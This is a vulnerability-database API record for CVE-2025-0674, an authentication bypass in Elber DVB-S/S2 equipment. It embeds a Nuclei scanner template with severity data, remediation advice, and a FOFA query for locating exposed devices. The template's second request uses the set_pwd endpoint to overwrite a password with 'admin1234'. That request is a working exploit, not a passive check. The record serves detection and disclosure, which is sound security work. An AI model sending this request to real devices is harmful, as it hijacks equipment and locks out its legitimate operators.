{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-0674/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-0674/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-0674/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-0674/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-0674/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-0674"},"sightings":{"href":"/api/v1/sightings/cve-2025-0674"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-0674.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-0674\n\ninfo:\n  name: Elber ESE DVB-S/S2 - Authentication Bypass\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n  remediation: |\n    Apply security patches from Elber or restrict access to the password management endpoints to authorized networks only.\n  impact: |\n    This grants them unauthorized administrative access to protected areas of the application, compromising the device's system security.\n  reference:\n    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-03\n    - https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/wayber/Elber-Wayber%E6%A8%A1%E6%8B%9F%E6%95%B0%E5%AD%97%E9%9F%B3%E9%A2%91%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E.md?plain=1\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-0674\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-0674\n    cwe-id: CWE-288\n    epss-score: 0.03654\n    epss-percentile: 0.89126\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: title=\"Elber Satellite Equipment\" || body=\"www.elber.it\"\n  tags: cve,cve2025,auth-bypass,elber,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /modules/pwd.html HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Manage system Password\"\n        internal: true\n\n  - raw:\n      - |\n        GET /json_data/set_pwd?lev=2&pass=admin1234 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Apply successfully\"\n# digest: 4a0a0047304502200dffd5b83877a7130c251da71a9b1d06160ab3b8171919a5cadb07208b652679022100e71264f2409c75a35647a7281a8cfe730e6c4361c49a5f2c02d7f3b2af770079:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-0674"}